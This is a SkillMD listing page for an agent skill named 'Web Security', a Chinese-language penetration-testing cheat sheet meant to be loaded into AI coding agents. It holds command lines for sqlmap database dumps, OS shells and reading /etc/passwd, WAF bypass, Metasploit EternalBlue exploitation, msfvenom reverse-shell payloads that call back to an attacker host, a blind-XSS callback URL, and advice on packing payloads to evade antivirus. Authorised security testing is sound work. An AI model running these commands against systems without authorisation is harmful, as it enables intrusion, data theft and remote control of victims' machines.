How do I install the Web Security skill?

Run npx skillmds@latest add aivos-xie/web-security in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

What does the Web Security skill do?

Web安全测试工具链 — sqlmap, Nmap, Nikto, XSStrike, ffuf, nuclei, Metasploit It is listed under Security on SkillMD.

Is Web Security safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Web Security?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Web Security free to use?

Yes. Installing skills from SkillMD is free. This skill is licensed under MIT.

Who published Web Security?

aivos-xie (@aivos-xie) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Web Security by aivos-xie — Agent Skill

Name: Web Security
Author: aivos-xie

Web安全测试工具链

核心工具一览

信息收集

工具	用途
Nmap	端口扫描/服务识别
whatweb	Web指纹识别
wafw00f	WAF检测
subfinder	子域名枚举
httpx	HTTP探测
theHarvester	邮箱/子域名/IP收集

漏洞扫描

工具	用途
Nikto	Web服务器漏洞扫描
nuclei	模板化漏洞扫描
ZAP	OWASP Web安全扫描器
katana	新一代Web爬虫
dalfox	XSS扫描器
dnsReaper	DNS子域名接管检测

漏洞利用

工具	用途
sqlmap	SQL注入自动化
XSStrike	XSS检测/利用
Commix	命令注入检测
Metasploit	渗透测试框架
smuggler	HTTP请求走私检测
Fenjing	SSTI模板注入检测
arjun	HTTP参数发现

Fuzzing

工具	用途
ffuf	快速Web Fuzzer
wfuzz	Web应用Fuzzer
dirsearch	目录/文件扫描
gobuster	目录/DNS暴力枚举
feroxbuster	递归目录扫描

1. Nmap — 网络扫描之王

安装

sudo apt install nmap

扫描命令

nmap -T4 -F 192.168.1.1                    # 快速扫描常用端口
nmap -p- -T4 192.168.1.1                    # 全端口
nmap -sV -sC -p 80,443,22 192.168.1.1       # 服务版本+脚本
nmap -A -T4 192.168.1.1                      # 全面扫描
nmap -sU -T4 --top-ports 100 192.168.1.1     # UDP扫描
nmap -sn 192.168.1.0/24                      # 主机发现

# 脚本扫描
nmap --script vuln 192.168.1.1
nmap --script=http-enum 192.168.1.1
nmap --script=ssl-heartbleed -p 443 192.168.1.1
nmap --script=smb-vuln* -p 445 192.168.1.1

# 输出
nmap -oA output 192.168.1.1
nmap -oX output.xml 192.168.1.1

2. sqlmap — SQL注入神器

安装

sudo apt install sqlmap
# 或最新版 (v1.10):
git clone https://github.com/sqlmapproject/sqlmap.git

基本用法

# GET参数
sqlmap -u "http://target.com/page?id=1"

# POST请求
sqlmap -u "http://target.com/login" --data="username=admin&password=test"

# Cookie注入
sqlmap -u "http://target.com/page" --cookie="session=abc123"

# 从Burp请求文件
sqlmap -r request.txt

# 注入技术
sqlmap -u "http://target.com/page?id=1" --technique=BEUSTQ
# B=Boolean E=Error U=Union S=Stacked T=Time Q=Inline

数据库操作

sqlmap -u "URL" --dbs                           # 列数据库
sqlmap -u "URL" -D mydb --tables                # 列表
sqlmap -u "URL" -D mydb -T users --columns      # 列字段
sqlmap -u "URL" -D mydb -T users --dump          # 导出数据
sqlmap -u "URL" -D mydb -T users -C username,password --dump
sqlmap -u "URL" --current-user
sqlmap -u "URL" --current-db
sqlmap -u "URL" --is-dba

高级功能

# OS Shell (需DBA)
sqlmap -u "URL" --os-shell

# SQL Shell
sqlmap -u "URL" --sql-shell

# 读文件
sqlmap -u "URL" --file-read="/etc/passwd"

# 绕过WAF
sqlmap -u "URL" --tamper=space2comment,between,randomcase
sqlmap -u "URL" --random-agent --delay=1

# 常用tamper
--tamper=space2comment      # 空格->注释
--tamper=between            # >->BETWEEN
--tamper=charencode         # 字符编码
--tamper=randomcase         # 随机大小写
--tamper=equaltolike        # =->LIKE

# Level/Risk提高
sqlmap -u "URL" --level=5 --risk=3

# 批量扫描
sqlmap -m urls.txt --batch

3. ffuf — 高速Fuzzer

安装

wget https://github.com/ffuf/ffuf/releases/latest/download/ffuf_2.1.0_linux_amd64.tar.gz
tar xzf ffuf_*.tar.gz && sudo mv ffuf /usr/local/bin/

目录扫描

ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt,.js
ffuf -u http://target.com/FUZZ -w wordlist.txt -fc 404       # 过滤404
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302,403  # 匹配
ffuf -u http://target.com/FUZZ -w wordlist.txt -fs 4242      # 过滤大小
ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2
ffuf -u http://target.com/FUZZ -w wordlist.txt -H "Authorization: Bearer token"
ffuf -u http://target.com/FUZZ -w wordlist.txt -x http://127.0.0.1:8080

子域名爆破

ffuf -u http://FUZZ.target.com -w subdomains.txt -mc 200,301,302

参数Fuzzing

ffuf -u "http://target.com/page?FUZZ=test" -w params.txt -mc 200
ffuf -u http://target.com/login -X POST -d "FUZZ=admin" -w params.txt
ffuf -u http://target.com/ -w headers.txt -H "FUZZ: 127.0.0.1"

Virtual Host发现

ffuf -u http://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200 -fs 0

4. nuclei — 模板化漏洞扫描

安装

go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@v3.8.0
nuclei -update-templates

基本用法

nuclei -u http://target.com                    # 扫描单目标
nuclei -l urls.txt                             # 扫描列表
nuclei -u http://target.com -t cves/           # 指定模板
nuclei -u http://target.com -severity critical,high  # 严重级别
nuclei -u http://target.com -tags cve,xss,sqli      # 标签
nuclei -u http://target.com -as                  # 自动模板选择
nuclei -u http://target.com -c 25 -rl 100      # 并发控制
nuclei -u http://target.com -o results.txt      # 输出

模板类别

nuclei -t cves/                    # CVE漏洞
nuclei -t vulnerabilities/         # 通用漏洞
nuclei -t misconfiguration/        # 配置错误
nuclei -t exposures/               # 信息泄露
nuclei -t default-credentials/     # 默认凭据
nuclei -t http/                    # HTTP协议模板
nuclei -t code/                    # 代码审计模板

5. XSStrike — XSS检测

安装

git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike && pip install -r requirements.txt

用法

python xsstrike.py -u "http://target.com/page?q=test"
python xsstrike.py -u "http://target.com/search" --data "q=test"
python xsstrike.py -u "http://target.com/page?q=test" --skip
python xsstrike.py -u "http://target.com/page?q=test" --cookie "session=abc"
python xsstrike.py -l urls.txt

6. Commix — 命令注入

安装

git clone https://github.com/commixproject/commix.git

用法

python commix.py -u "http://target.com/ping?ip=127.0.0.1"
python commix.py -u "http://target.com/exec" --data "cmd=whoami"
python commix.py -u "http://target.com/" --cookie "lang=en;id=1"
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --batch
python commix.py -r request.txt

7. Nikto — Web服务器扫描

sudo apt install nikto

nikto -h http://target.com
nikto -h target.com -p 8080
nikto -h target.com -ssl -port 443
nikto -h target.com -o report.html -Format html
nikto -h target.com -useproxy http://127.0.0.1:8080

8. 信息收集

whatweb

sudo apt install whatweb
whatweb target.com
whatweb -v target.com
whatweb -a 3 target.com

wafw00f

pip install wafw00f
wafw00f target.com
wafw00f target.com -a

subfinder + httpx

go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

subfinder -d target.com -silent | httpx -silent

theHarvester

sudo apt install theharvester
theHarvester -d target.com -b google,bing,linkedin
theHarvester -d target.com -b all -l 500

9. Metasploit — 渗透框架

安装

sudo apt install metasploit-framework
sudo msfdb init

基本用法

msfconsole

# 搜索
msf6> search type:exploit platform:windows
msf6> search eternalblue

# 使用
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set LHOST 192.168.1.1
msf6> run

# 生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe > shell.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf > shell.elf
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -o shell.apk

# Handler
msf6> use exploit/multi/handler
msf6> set payload windows/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.1
msf6> set LPORT 4444
msf6> run

10. 渗透测试流程

1. 信息收集
   ├── Nmap端口扫描
   ├── whatweb指纹识别
   ├── katana爬虫
   ├── subfinder子域名枚举
   ├── wafw00f WAF检测
   └── theHarvester邮箱/IP收集

2. 漏洞扫描
   ├── Nikto Web服务器扫描
   ├── nuclei模板化扫描
   ├── ffuf目录爆破
   ├── arjun参数发现
   └── ZAP应用扫描

3. 漏洞利用
   ├── sqlmap SQL注入
   ├── dalfox / XSStrike XSS
   ├── Commix命令注入
   ├── Fenjing SSTI模板注入
   ├── smuggler HTTP走私
   └── Metasploit漏洞利用

4. 后渗透
   ├── 权限提升
   ├── 横向移动
   ├── 数据提取
   └── 持久化

Web渗透检查清单

[ ] 端口扫描 (Nmap)
[ ] Web指纹 (whatweb)
[ ] WAF检测 (wafw00f)
[ ] 目录扫描 (ffuf)
[ ] 子域名枚举 (subfinder)
[ ] SQL注入 (sqlmap)
[ ] XSS测试 (XSStrike)
[ ] 命令注入 (Commix)
[ ] 文件上传测试
[ ] 文件包含 (LFI/RFI)
[ ] SSRF测试
[ ] CSRF测试
[ ] IDOR测试
[ ] 认证绕过
[ ] 敏感信息泄露
[ ] 默认凭据

Pitfalls

sqlmap被WAF拦截 — --tamper + --random-agent + --delay
ffuf过滤写反 — -fc 过滤, -mc 匹配
Nmap太慢 — -T4 或 --top-ports
nuclei模板过期 — nuclei -update-templates
Hydra被ban — -t 4 限速
sqlmap跑太慢 — --threads=10
XSStrike误报 — 手动验证payload
Metasploit payload被杀 — 编码/加壳
忘记代理 — 测试务必走ZAP/Burp
未授权扫描违法 — 必须有书面授权

11. 新增工具速查

katana — 新一代Web爬虫 (ProjectDiscovery)

go install github.com/projectdiscovery/katana/cmd/katana@latest
katana -u http://target.com -d 3 -jc          # 深度3 + JS解析
katana -u http://target.com -f url -ef png,jpg,gif  # 只输出URL,排除图片
katana -u http://target.com -xhr               # 只抓XHR请求

dalfox — XSS扫描器

go install github.com/hahwul/dalfox/v2@latest
dalfox url "http://target.com/page?q=test"     # URL模式
dalfox file urls.txt                            # 批量扫描
dalfox url "http://target.com/page?q=test" --blind "http://your.xss.ht"  # 盲XSS

dnsReaper — DNS子域名接管检测

git clone https://github.com/punk-security/dnsReaper.git && cd dnsReaper
pip install -r requirements.txt
python3 main.py --filename domains.txt        # 批量检测
python3 main.py single target.com             # 单域名

smuggler — HTTP请求走私检测

git clone https://github.com/defparam/smuggler.git && cd smuggler
python3 smuggler.py -u http://target.com
python3 smuggler.py -u http://target.com -q     # 安静模式

Fenjing — SSTI/模板注入检测

pip install fenjing
fenjing scan --url "http://target.com/page?name=test"
fenjing crack --url "http://target.com/page" --method POST --data "name=test"

arjun — HTTP参数发现

pip install arjun
arjun -u http://target.com/page               # GET参数发现
arjun -u http://target.com/page -m POST       # POST参数
arjun -u http://target.com/page -m JSON       # JSON参数
arjun -u http://target.com/page --wordlist params.txt  # 自定义字典

Web Security

File contents

Web安全测试工具链

核心工具一览

信息收集

漏洞扫描

漏洞利用

Fuzzing

1. Nmap — 网络扫描之王

安装

扫描命令

2. sqlmap — SQL注入神器

安装

基本用法

数据库操作

高级功能

3. ffuf — 高速Fuzzer

安装

目录扫描

子域名爆破

参数Fuzzing

Virtual Host发现

4. nuclei — 模板化漏洞扫描

安装

基本用法

模板类别

5. XSStrike — XSS检测

安装

用法

6. Commix — 命令注入

安装

用法

7. Nikto — Web服务器扫描

8. 信息收集

whatweb

wafw00f

subfinder + httpx

theHarvester

9. Metasploit — 渗透框架

安装

基本用法

10. 渗透测试流程

Web渗透检查清单

Pitfalls

11. 新增工具速查

katana — 新一代Web爬虫 (ProjectDiscovery)

dalfox — XSS扫描器

dnsReaper — DNS子域名接管检测

smuggler — HTTP请求走私检测

Fenjing — SSTI/模板注入检测

arjun — HTTP参数发现

Related skills

Frequently asked questions

How do I install the Web Security skill?

What does the Web Security skill do?

Is Web Security safe to use?

Which AI agents work with Web Security?

Is Web Security free to use?

Who published Web Security?